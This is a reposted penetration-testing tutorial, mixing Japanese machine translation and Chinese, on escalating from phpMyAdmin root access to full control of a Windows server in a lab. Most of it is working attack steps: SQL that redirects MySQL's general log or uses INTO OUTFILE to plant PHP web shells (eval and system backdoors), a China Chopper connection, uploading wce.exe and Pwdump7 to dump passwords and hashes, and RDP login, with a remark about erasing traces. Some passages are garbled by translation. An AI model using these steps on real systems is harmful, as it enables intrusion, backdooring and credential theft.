ホームページ  >  記事  >  データベース  >  phpMyadmin権限昇格について

phpMyadmin権限昇格について

藏色散人
藏色散人転載
2021-01-11 15:04:442672ブラウズ

phpmyadmin の次のチュートリアル コラムでは、phpMyadmin の権限昇格について説明します。必要な友人の役に立てば幸いです。

phpMyadmin権限昇格について

はじめに: 侵入テスト中に phpMyadmin アカウントのパスワードを知った後、権限を昇格するにはどうすればよいですか?今日は phpMyadmin 権限昇格について説明します。

0×00 定義

phpMyAdmin は、PHP に基づいた MySQL データベース管理ツールであり、Web サイト ホスト上で Web ベース モードで構造化されており、管理者は Web インターフェイスを使用できます。 MySQL データベースの管理に使用できます。

0×01 環境の準備

目标: Windows Server 2003 Enterprise x64 Edition    192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4

0×02 侵入の開始

脆弱なパスワード、爆破、およびディレクトリの漏洩 私たちは他のルートを通じて、PhpMyadmin のアカウントのパスワードが root root であることを知りました。次に、phpMyadmin を通じて権利をできる限り現実に近づけてエスカレーションし、さらにアイデアについて話し合います。

a 有益な情報を収集する

phpMyadmin権限昇格についてphpMyadmin権限昇格について

上の図に示すように、次のような有益な情報が得られます。

  • 1. オペレーティング システムは Windows Server 2003 x86
  • 2. サーバーは Apache 2.4.32
  • 3. Web サイトのデフォルト パスは E :\phpStudy\PHPTutorial \WWW
  • 4.PHP のバージョンは 5.45
  • 5.mysql のバージョンは 5.5.53

##b 挿入条件の検出

Web サイトのデフォルトのパスは E:\phpstudy\PHPTutorial\WWW であることがわかりましたが、この時点では必ずバックドア ファイルを挿入するか、シェルをエクスポートする必要があります。上記の 2 つのアイデアのいずれかを使用する必要がある場合は、前提条件を満たす必要があります。「secure_file_priv」に対応する値は空であってはならず、デフォルトの Web サイトのパスでなければならないため、事前に「secure_file_priv」の値を確認する必要があります。 。

phpMyadmin は次のコマンドを実行します:

SHOW VARIABLES LIKE “secure_file_priv”;

结果如图所示:

phpMyadmin権限昇格について

从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。

phpMyadmin権限昇格について

报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。

phpMyadmin権限昇格について

从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。

c 转换思路

我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。

phpMyadmin権限昇格について

从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。

首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。

具体命令是:

set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';

phpMyadmin権限昇格について

phpMyadmin権限昇格について


次に、生成した疑似日記ファイル infos.php が Web サイトのルート パスにあることがわかります。

phpMyadmin権限昇格について

次に、一文のバックドアを挿入する必要があります。

select '';

phpMyadmin権限昇格について

試してみます包丁を使って接続すると接続成功です。

phpMyadmin権限昇格について

#d 管理者パスワードを取得します

0×00 プレーン テキストを直接取得します

wce.exe をアップロードしてクリア テキストのパスワードを取得します。幸運なことに、私は平文 (11 個の文字と数字が混在したパスワード) を直接入手することができました。プレーンテキストを直接取得できない場合は、2 番目のステップに進んでハッシュ値を取得し、それを復号化する必要があります。

phpMyadmin権限昇格について

0×01 ハッシュ値の取得

Pwdump7.exe をアップロードしてハッシュ値を取得し、パスワードに保存します。 txt ファイル。ハッシュ値を取得するには、http://www.objectif-securite.ch/en/ophcrack.php でオンラインで実行することを選択できます。失敗した場合は、Ophcrack を使用してレインボー テーブルをインポートし、実行します。

phpMyadmin権限昇格について

phpMyadmin権限昇格について

#

e 3389 が有効かどうかを確認します。

チョッパー ターミナルに「netstat -an | find “3389” または “netstat -an”」と直接入力します。

phpMyadmin権限昇格について

3389 は開いていませんが、3390 は開いていることがわかりました。接続してみましょう。

f サーバーにログイン

実行mstsc を開き、リモート デスクトップを開きます。

phpMyadmin権限昇格について

phpMyadmin権限昇格について


上記で取得したアカウント番号とパスワードを入力し、ログを記録します。
phpMyadmin権限昇格について

最終的には痕跡が鮮明になる必要がありますが、ここでは書きません。書きたいことが多すぎます。

0x03 Extension

上記は secure_file_priv 値が空の状況を示していますが、secure_file_priv が空でない場合はどうすればよいでしょうか?

a my.file_priv 値を設定します。 ini ファイル (Web サイトのルート パスに対応しません)

mysq 設定ファイル my.ini を開き、secure_file_priv の値を設定してから、mysql を再起動します。 secure_file_priv = “E:/phpStudy/PHPTutorial/MYSQL/”

phpMyadmin権限昇格について

phpMyadmin権限昇格について##

尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。

phpMyadmin権限昇格について

phpMyadmin権限昇格について



b 配置my.ini文件(对应网站根路径)

打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。

secure_file_priv =  ”E:/phpStudy/PHPTutorial/WWW/”

phpMyadmin権限昇格について

然后我们尝试插入一句话后门,成功插入。

phpMyadmin権限昇格について

二话不说菜刀连接。

phpMyadmin権限昇格について

phpMyadmin権限昇格について


当然一句话还可以这样插入。

CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php  @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)

c 导出具有命令权限的Shell的php文件

select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;

phpMyadmin権限昇格について

phpMyadmin権限昇格について

#0×04 概要

この記事の環境は、 WAFはありません、できるだけ実環境に近づけて、実環境をシミュレートして、みんなで分析したり、アイデアを説明したりすることができます。

以上がphpMyadmin権限昇格についての詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。